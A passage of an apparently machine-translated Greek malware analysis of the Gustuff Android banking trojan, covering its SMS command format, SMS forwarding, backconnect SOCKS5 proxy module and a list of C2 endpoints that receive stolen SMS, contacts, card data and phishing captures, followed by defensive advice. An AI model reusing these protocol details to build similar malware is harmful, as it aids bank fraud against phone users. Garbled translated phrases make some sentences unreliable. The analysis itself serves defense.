Έτσι, με τη σωστή διαμόρφωση του διακομιστή ελέγχου, ο Gustuff μπορεί να συμπληρώσει πεδία κειμένου στην τραπεζική εφαρμογή και να κάνει κλικ στα κουμπιά που είναι απαραίτητα για την ολοκλήρωση της συναλλαγής. Ο Trojan δεν χρειάζεται καν να συνδεθεί στην εφαρμογή — αρκεί να στείλετε μια εντολή για να εμφανίσετε μια ειδοποίηση PUSH και στη συνέχεια να ανοίξετε την προηγούμενη τραπεζική εφαρμογή. Ο χρήστης θα επικυρώσει τον εαυτό του και μετά ο Gustuff θα μπορεί να γεμίσει το αυτοκίνητο.

Μονάδα επεξεργασίας μηνυμάτων SMS

Η εφαρμογή εγκαθιστά ένα πρόγραμμα χειρισμού συμβάντων για τη μολυσμένη συσκευή να δέχεται μηνύματα SMS. Η υπό μελέτη εφαρμογή μπορεί να λάβει εντολές από τον χειριστή, οι οποίες μπαίνουν στο σώμα του μηνύματος SMS. Οι εντολές έρχονται στη μορφή:

7!5=<%Base64 κωδικοποιημένη εντολή%>

Η εφαρμογή αναζητά τη συμβολοσειρά σε όλα τα εισερχόμενα μηνύματα SMS 7!5=, όταν ανιχνεύεται μια συμβολοσειρά, αποκωδικοποιεί τη συμβολοσειρά από το Base64 στο offset 4 και εκτελεί την εντολή. Οι εντολές είναι παρόμοιες με αυτές με το CnC. Το αποτέλεσμα της εκτέλεσης αποστέλλεται στον ίδιο αριθμό από τον οποίο προήλθε η εντολή. Μορφή απάντησης:

7*5=<%Base64 κωδικοποιεί "εντολή Result_code"%>

Προαιρετικά, η εφαρμογή μπορεί να στείλει όλα τα ληφθέντα μηνύματα στον αριθμό Root. Για να γίνει αυτό, πρέπει να καθοριστεί ο αριθμός Root στο αρχείο προτιμήσεων και να οριστεί η σημαία ανακατεύθυνσης μηνύματος. Ένα μήνυμα SMS αποστέλλεται στον αριθμό του εισβολέα με τη μορφή:

<%Από τον αριθμό%> — <%Ώρα, μορφή: ηη/ΜΜ/εεεε ΩΩ:λλ:δδ%> <%Σώμα SMS%>

Επίσης, προαιρετικά, η εφαρμογή μπορεί να στείλει μηνύματα στο CnC. Το μήνυμα SMS αποστέλλεται στον διακομιστή σε μορφή JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Εάν η σημαία έχει οριστεί nameGenerator("DEFAULT_APP_SMS") – η εφαρμογή σταματά την επεξεργασία του μηνύματος SMS και διαγράφει τη λίστα των εισερχόμενων μηνυμάτων.

Μονάδα διακομιστή μεσολάβησης

Η υπό μελέτη εφαρμογή περιέχει μια λειτουργική μονάδα Backconnect Proxy (εφεξής καλούμενη μονάδα Proxy), η οποία έχει μια ξεχωριστή κλάση που περιλαμβάνει στατικά πεδία με διαμόρφωση. Τα δεδομένα διαμόρφωσης αποθηκεύονται στο δείγμα σε σαφή μορφή:

Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας

Όλες οι ενέργειες που εκτελούνται από τη μονάδα Proxy συνδέονται σε αρχεία. Για να γίνει αυτό, η εφαρμογή στον Εξωτερικό χώρο αποθήκευσης δημιουργεί έναν κατάλογο που ονομάζεται "logs" (το πεδίο ProxyConfigClass.logsDir στην κλάση διαμόρφωσης), στον οποίο αποθηκεύονται τα αρχεία καταγραφής. Η καταγραφή πραγματοποιείται σε αρχεία με ονόματα:

  1. main.txt – η εργασία της κλάσης που ονομάζεται CommandServer είναι συνδεδεμένη σε αυτό το αρχείο. Στη συνέχεια, η καταγραφή της συμβολοσειράς str σε αυτό το αρχείο θα συμβολίζεται ως mainLog(str).
  2. συνεδρία-<%id%>.txt — αυτό το αρχείο αποθηκεύει δεδομένα καταγραφής που σχετίζονται με μια συγκεκριμένη περίοδο λειτουργίας διακομιστή μεσολάβησης. Στη συνέχεια, η καταγραφή της συμβολοσειράς str σε αυτό το αρχείο θα συμβολίζεται ως sessionLog (str).
  3. server.txt – αυτό το αρχείο χρησιμοποιείται για την καταγραφή όλων των δεδομένων που έχουν εγγραφεί στα παραπάνω περιγραφόμενα αρχεία.

Μορφή δεδομένων καταγραφής:

<%Date%> [Νήμα[<%thread id%>], id[]]: log-string

Οι εξαιρέσεις που προκύπτουν κατά τη λειτουργία της λειτουργικής μονάδας Proxy καταγράφονται επίσης σε ένα αρχείο. Για να γίνει αυτό, η εφαρμογή δημιουργεί ένα αντικείμενο JSON στην ακόλουθη μορφή:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Στη συνέχεια, το μετατρέπει σε αναπαράσταση συμβολοσειράς και το καταγράφει.

Η μονάδα Proxy εκκινείται μετά τη λήψη της αντίστοιχης εντολής. Όταν λαμβάνεται μια εντολή για την εκκίνηση της λειτουργικής μονάδας Proxy, η εφαρμογή ξεκινά μια υπηρεσία που καλείται MainService, το οποίο είναι υπεύθυνο για τη διαχείριση της λειτουργίας της μονάδας Proxy - εκκίνηση και διακοπή της.

Στάδια έναρξης της υπηρεσίας:

1. Ξεκινά ένα χρονόμετρο που εκτελείται μία φορά το λεπτό και ελέγχει τη δραστηριότητα της μονάδας Proxy. Εάν η μονάδα δεν είναι ενεργή, την εκκινεί.
Επίσης όταν ενεργοποιείται το συμβάν android.net.conn.CONNECTIVITY_CHANGE Εκκινείται η λειτουργική μονάδα Proxy.

2. Η εφαρμογή δημιουργεί ένα wake-lock με την παράμετρο PARTIAL_WAKE_LOCK και τον αιχμαλωτίζει. Αυτό αποτρέπει τη μετάβαση της CPU της συσκευής σε κατάσταση αναστολής λειτουργίας.

3. Εκκινεί την κλάση επεξεργασίας εντολών της μονάδας Proxy, καταγράφοντας πρώτα τη γραμμή mainLog ("έναρξη διακομιστή") и

Διακομιστής::start() κεντρικός υπολογιστής[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

όπου proxy_cnc, command_port και proxy_port – οι παράμετροι που λαμβάνονται από τη διαμόρφωση του διακομιστή μεσολάβησης.

Καλείται η κλάση επεξεργασίας εντολών CommandConnection. Αμέσως μετά την εκκίνηση, εκτελεί τις ακόλουθες ενέργειες:

4. Συνδέεται με ProxyConfigClass.host: ProxyConfigClass.commandPort και στέλνει δεδομένα σχετικά με τη μολυσμένη συσκευή εκεί σε μορφή JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Πού:

  • id – identifier, προσπαθεί να πάρει μια τιμή με το πεδίο «id» από το αρχείο Shared Preference με το όνομα «x». Εάν αυτή η τιμή δεν μπορεί να ληφθεί, δημιουργεί μια νέα. Έτσι, η λειτουργική μονάδα Proxy έχει το δικό της αναγνωριστικό, το οποίο δημιουργείται παρόμοια με το Bot ID.
  • imei — IMEI της συσκευής. Εάν προέκυψε σφάλμα κατά τη διαδικασία λήψης της τιμής, αντί για αυτό το πεδίο θα γραφτεί ένα μήνυμα κειμένου σφάλματος.
  • imsi — Διεθνής ταυτότητα συνδρομητή κινητής τηλεφωνίας της συσκευής. Εάν προέκυψε σφάλμα κατά τη διαδικασία λήψης της τιμής, αντί για αυτό το πεδίο θα γραφτεί ένα μήνυμα κειμένου σφάλματος.
  • μοντέλο — Το ορατό όνομα στον τελικό χρήστη για το τελικό προϊόν.
  • κατασκευαστής — Ο κατασκευαστής του προϊόντος/υλισμικού (Build.MANUFACTURER).
  • androidVersion - μια συμβολοσειρά με τη μορφή "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • χώρα — τρέχουσα θέση της συσκευής.
  • Το partnerId είναι μια κενή συμβολοσειρά.
  • packageName – όνομα πακέτου.
  • networkType — τύπος τρέχουσας σύνδεσης δικτύου (παράδειγμα: "WIFI", "MOBILE"). Σε περίπτωση σφάλματος, επιστρέφει null.
  • hasGsmSupport – true – εάν το τηλέφωνο υποστηρίζει GSM, διαφορετικά false.
  • simReady – κατάσταση κάρτας SIM.
  • simCountry - Κωδικός χώρας ISO (με βάση τον πάροχο κάρτας SIM).
  • networkOperator — όνομα χειριστή. Εάν προέκυψε σφάλμα κατά τη διαδικασία λήψης της τιμής, αντί για αυτό το πεδίο θα γραφτεί ένα μήνυμα κειμένου σφάλματος.
  • simOperator — Το όνομα του παρόχου υπηρεσιών (SPN). Εάν προέκυψε σφάλμα κατά τη διαδικασία λήψης της τιμής, αντί για αυτό το πεδίο θα γραφτεί ένα μήνυμα κειμένου σφάλματος.
  • έκδοση - αυτό το πεδίο αποθηκεύεται στην κλάση config· για τις δοκιμασμένες εκδόσεις του bot ήταν ίσο με "1.6".

5. Μεταβαίνει στη λειτουργία αναμονής εντολών από τον διακομιστή. Οι εντολές από τον διακομιστή έχουν τη μορφή:

  • 0 μετατόπιση – εντολή
  • 1 μετατόπιση – sessionId
  • 2 μετατόπιση – μήκος
  • 4 μετατόπιση - δεδομένα

Όταν φτάσει μια εντολή, η εφαρμογή καταγράφει:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

Οι ακόλουθες εντολές από τον διακομιστή είναι δυνατές:

Όνομα εντολή ημερομηνία Περιγραφή
αναγνωριστικό σύνδεσης 0 Αναγνωριστικό σύνδεσης Δημιουργήστε μια νέα σύνδεση
SLEEP 3 Χρόνος Παύση της λειτουργικής μονάδας Proxy
ΠΙΝΓΚ ΠΟΝΓΚ 4 - Στείλτε μήνυμα PONG

Ένα μήνυμα PONG αποτελείται από 4 byte και μοιάζει με αυτό: 0x04000000.

Όταν ληφθεί η εντολή connectId (για δημιουργία νέας σύνδεσης) CommandConnection δημιουργεί ένα παράδειγμα μιας κλάσης ProxyConnection.

  • Δύο τάξεις συμμετέχουν στο proxying: ProxyConnection и τέλος. Κατά τη δημιουργία μιας τάξης ProxyConnection σύνδεση με τη διεύθυνση ProxyConfigClass.host: ProxyConfigClass.proxyPort και μεταβίβαση του αντικειμένου JSON:

 {
    "id":<%connectionId%>
}

Σε απόκριση, ο διακομιστής στέλνει ένα μήνυμα SOCKS5 που περιέχει τη διεύθυνση του απομακρυσμένου διακομιστή με τον οποίο πρέπει να πραγματοποιηθεί η σύνδεση. Η αλληλεπίδραση με αυτόν τον διακομιστή πραγματοποιείται μέσω της κλάσης τέλος. Η ρύθμιση της σύνδεσης μπορεί να αναπαρασταθεί σχηματικά ως εξής:

Πώς ο Android Trojan Gustuff αφαιρεί την κρέμα (fiat και crypto) από τους λογαριασμούς σας

Αλληλεπιδράσεις δικτύου

Για να αποτραπεί η ανάλυση κίνησης από sniffers δικτύου, η αλληλεπίδραση μεταξύ του διακομιστή CnC και της εφαρμογής μπορεί να προστατευτεί χρησιμοποιώντας το πρωτόκολλο SSL. Όλα τα δεδομένα που μεταδίδονται τόσο από όσο και προς τον διακομιστή παρουσιάζονται σε μορφή JSON. Η εφαρμογή εκτελεί τα ακόλουθα αιτήματα κατά τη λειτουργία:

  • http://<%CnC%>/api/v1/set_state.php — το αποτέλεσμα της εκτέλεσης της εντολής.
  • http://<%CnC%>/api/v1/get.php — λήψη εντολής.
  • http://<%CnC%>/api/v1/load_sms.php — λήψη μηνυμάτων SMS από μολυσμένη συσκευή.
  • http://<%CnC%>/api/v1/load_ab.php — ανέβασμα λίστας επαφών από μολυσμένη συσκευή.
  • http://<%CnC%>/api/v1/aevents.php – το αίτημα υποβάλλεται κατά την ενημέρωση των παραμέτρων που βρίσκονται στο αρχείο προτιμήσεων.
  • http://<%CnC%>/api/v1/set_card.php — μεταφόρτωση δεδομένων που ελήφθησαν χρησιμοποιώντας ένα παράθυρο ηλεκτρονικού ψαρέματος που μεταμφιέζεται στο Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – μεταφόρτωση δεδομένων καταγραφής.
  • http://<%CnC%>/api/v1/records.php – μεταφόρτωση δεδομένων που λαμβάνονται μέσω παραθύρων phishing.
  • http://<%CnC%>/api/v1/set_error.php – ειδοποίηση για ένα σφάλμα που έχει συμβεί.

συστάσεις

Προκειμένου να προστατεύσουν τους πελάτες τους από την απειλή των Trojans για κινητά, οι εταιρείες πρέπει να χρησιμοποιούν ολοκληρωμένες λύσεις που τους επιτρέπουν να παρακολουθούν και να αποτρέπουν κακόβουλη δραστηριότητα χωρίς την εγκατάσταση πρόσθετου λογισμικού στις συσκευές των χρηστών.

Για να γίνει αυτό, οι μέθοδοι υπογραφής για τον εντοπισμό κινητών Trojans πρέπει να ενισχυθούν με τεχνολογίες για την ανάλυση της συμπεριφοράς τόσο του πελάτη όσο και της ίδιας της εφαρμογής. Η προστασία θα πρέπει επίσης να περιλαμβάνει μια λειτουργία αναγνώρισης συσκευής που χρησιμοποιεί τεχνολογία ψηφιακών δακτυλικών αποτυπωμάτων, η οποία θα καθιστά δυνατή την κατανόηση πότε ένας λογαριασμός χρησιμοποιείται από μια άτυπη συσκευή και έχει ήδη πέσει στα χέρια ενός απατεώνα.

Ένα θεμελιωδώς σημαντικό σημείο είναι η διαθεσιμότητα διακαναλικής ανάλυσης, η οποία επιτρέπει στις εταιρείες να ελέγχουν τους κινδύνους που προκύπτουν όχι μόνο στο Διαδίκτυο, αλλά και στο κανάλι κινητής τηλεφωνίας, για παράδειγμα, σε εφαρμογές για mobile banking, για συναλλαγές με κρυπτονομίσματα και οποιεσδήποτε άλλες οι συναλλαγές μπορούν να πραγματοποιηθούν.οικονομική συναλλαγή.

Κανόνες ασφαλείας για τους χρήστες:

  • μην εγκαθιστάτε εφαρμογές για φορητή συσκευή με λειτουργικό σύστημα Android από άλλες πηγές εκτός από το Google Play, δώστε ιδιαίτερη προσοχή στα δικαιώματα που ζητά η εφαρμογή.
  • εγκαθιστάτε τακτικά ενημερώσεις του λειτουργικού συστήματος Android.
  • δώστε προσοχή στις επεκτάσεις των ληφθέντων αρχείων.
  • μην επισκέπτεστε ύποπτους πόρους.
  • Μην κάνετε κλικ σε συνδέσμους που λαμβάνονται σε μηνύματα SMS.

Πρωταγωνιστής Semyon Rogacheva, κατώτερος ειδικός στην έρευνα για κακόβουλο λογισμικό στο Group-IB Computer Forensics Laboratory.

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο